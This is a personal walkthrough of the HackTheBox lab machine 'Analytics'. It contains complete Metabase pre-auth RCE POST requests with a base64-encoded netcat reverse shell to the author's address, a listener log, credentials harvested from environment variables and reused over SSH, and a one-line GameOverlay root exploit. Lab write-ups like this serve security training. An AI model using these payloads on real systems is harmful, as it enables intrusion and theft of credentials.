HackTheBox: Analytics

01/13/2024

This is another live box that Im playing on release day. This is the first box Im doing of season 3.

Enumeration

We have 2 ports open: 1) SSH on 22 2) HTTP on 80

The script scan shows a redirect to analytical.htb, so ill add that to /etc/hosts and visit the site.

Enumerating the Website

The site appears to be for a data analysis company. All the links appear to be dead except "login", which points us to data.analytical.htb. Ill add this subdomain to /etc/hosts as well, and navigate to it.

This page has a header "Sign in to Metabase". This is apparently real software. Ill do a quick check for public vulns, and start a directory scan in the background. Oh- nevermind. Every query returns 200, with different sizes, so you cant really brute force it effectively. Oh well. In that case ill run a vhost scan in the background.

Pentesting Metabase

Wow. There's an article on achieving RCE via Metabase from a couple months ago (https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/),which mentions that the API is publicly accessible through the URL at /api/session/properties; and on testing it myself, I see that I can actually access this page.

Im still reading through the article, but the exploit involves the setup-token for Metabase not being wiped after setting up the instance. Then it is left in the publicly-accessible API session properties page, which I verified by simply searching for it on the API JSON data with CTRL-F:


setup-token:"249fa03d-fd94-4d5b-b94f-b4ebf3df681f"

As I understand it, the vulnerability is basically as follows: because the setup-token is not wiped after the setup is completed, a POST to one of the API endpoints allows unauthenticated users to initiate a new setup process. One aspect of the setup process is user-defined code to run on initialization, which is how we get RCE. The blog article also included a proof-of-concept POST request to get a reverse shell, as shown here:

http
POST /api/setup/validate HTTP/1.1
Host: localhost
Content-Type: application/json
Content-Length: 812

{
    "token": "5491c003-41c2-482d-bab4-6e174aa1738c",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEuMS4xLjEvOTk5OCAwPiYx}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

The base64 string is the reverse shell. I cut this out and made my own by base64 encoding rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.28 4444 >/tmp/f, and inserting it in the old code's place. Then I just modified the host header and setup token, and opened a netcat listener on 4444. Here is the final post request:

http
POST /api/setup/validate HTTP/1.1
Host: data.analytical.htb
Content-Type: application/json
Content-Length: 812

{
    "token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f",
    "details":
    {
        "is_on_demand": false,
        "is_full_sync": false,
        "is_sample": false,
        "cache_ttl": null,
        "refingerprint": false,
        "auto_run_queries": true,
        "schedules":
        {},
        "details":
        {
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,cm0gLWYgL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTQuMjggNDQ0NCA+L3RtcC9m}|{base64,-d}|{bash,-i}')\n$$--=x",
            "advanced-options": false,
            "ssl": true
        },
        "name": "an-sec-research-team",
        "engine": "h2"
    }
}

And on my listener,


$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.11.233] 44175
/bin/sh: can't access tty; job control turned off
/ $ whoami
metabase
/ $ 

Hell yeah!

Internal Enumeration

I tried to upgrade the reverse shell with no luck. It just crashes it. Oh well.

First I check the environment variables of the current user metabase:


/ $ env
MB_LDAP_BIND_DN=
LANGUAGE=en_US:en
USER=metabase
HOSTNAME=43139a5e070a
FC_LANG=en-US
SHLVL=4
LD_LIBRARY_PATH=/opt/java/openjdk/lib/server:/opt/java/openjdk/lib:/opt/java/openjdk/../lib
HOME=/home/metabase
MB_EMAIL_SMTP_PASSWORD=
LC_CTYPE=en_US.UTF-8
JAVA_VERSION=jdk-11.0.19+7
LOGNAME=metabase
_=ls
MB_DB_CONNECTION_URI=
PATH=/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MB_DB_PASS=
MB_JETTY_HOST=0.0.0.0
META_PASS=An4lytics_ds20223#
LANG=en_US.UTF-8
MB_LDAP_PASSWORD=
SHELL=/bin/sh
MB_EMAIL_SMTP_USERNAME=
MB_DB_USER=
META_USER=metalytics
LC_ALL=en_US.UTF-8
JAVA_HOME=/opt/java/openjdk
PWD=/
MB_DB_FILE=//metabase.db/metabase.db

We see a couple of credentials here:


USER=metabase
META_USER=metalytics
META_PASS=An4lytics_ds20223#

Maybe this password was reused.

Looking at ps aux, we are clearly in some kind of containerized application, as there are practically no running processes.

Let me try signing in to the website with the credentials metalytics@analytics.htb:An4lytics_ds20223#...

Success!

Enumerating the Metabase web app

There doesnt seem to be a ton on this page, but the greeting might be revealing of a possible user on the real system:


How's it going, Johnny?

Let me try to SSH in as johnny or john with the password An4lytics_ds20223#.

Hmm... no luck there. How about ssh'ing in as metalytics:An4lytics_ds20223#?


$ ssh metalytics@analytical
metalytics@analytical's password: (An4lytics_ds20223#)
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-25-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Sat Oct  7 10:22:42 PM UTC 2023

  System load:              0.294921875
  Usage of /:               99.8% of 7.78GB
  Memory usage:             33%
  Swap usage:               0%
  Processes:                164
  Users logged in:          0
  IPv4 address for docker0: 172.17.0.1
  IPv4 address for eth0:    10.10.11.233
  IPv6 address for eth0:    dead:beef::250:56ff:feb9:1dd6

  => / is using 99.8% of 7.78GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Sat Oct  7 21:35:14 2023 from 10.10.16.6
metalytics@analytics:~$ 

Hell yeah!

Internal Enumeration of the host system

First let me say that I may have been too quick to assume that im in the host system already. Ps aux is still looking bare, so its possible this is another container.

I ran sudo -l to check for any easy wins, but nothing. Without further ado, let me upload and run linpeas and pspy.

Attempting the StackRot exploit

A kernel exploit effecting linux kernel 6.x was discovered earlier this year, and labelled CVE-2023-3269. From what I understand, it exploits a use-after-free in the virtual memory addressing code.

I downloaded the exploit and compiled it locally, then uploaded it to the target. Although the exploit ran, it was unsuccessful; it appears the target has already been patched against the exploit.

Damn.

Back to Internal Enum

I found the reason that ps aux only shows my processes. From linpeas:


[i] Looks like ps is not finding processes, going to read from /proc/ and not going to monitor 1min of processes                                                                                             
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes                                                                                  
Looks like /etc/fstab has hidepid=2, so ps will not show processes of other users

Thats interesting. Can I still spy on other users via /proc? No, it doesnt even show me other users' files in /proc. Damn.

Couple ideas: - Continue trying to get something working using runc - scan /proc to bypass the ps hide PID restriction - investigate /usr/bin/write.ul, an unknown SGID binary - try /root for missing perms? - check out /usr/bin/dockerd-rootless.sh and /usr/bin/dockerd-rootless-setuptool.sh - Maybe try the runc exploit inside the container and use it to overwrite with a root reverse shell? Im running out of ideas here...

The fuck...?

This shit irritates me sometimes. Why does linpeas and the exploit suggester miss so much shit? You cant depend on it at all, fucking jerkoffs. It turns out there was a ridiculously easy kernel exploit called GameOverlay that exploits overlayFS. Someone on the forum hinted at it.

It couldnt be easier to run:


metalytics@analytics:/tmp/tmp.Bp9bT9GiyS$ export TD=$(mktemp -d) && cd $TD && unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/; setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);d=os.getenv("TD");os.system(f"rm -rf {d}");os.chdir("/root");os.system("/bin/sh")'

# whoami
root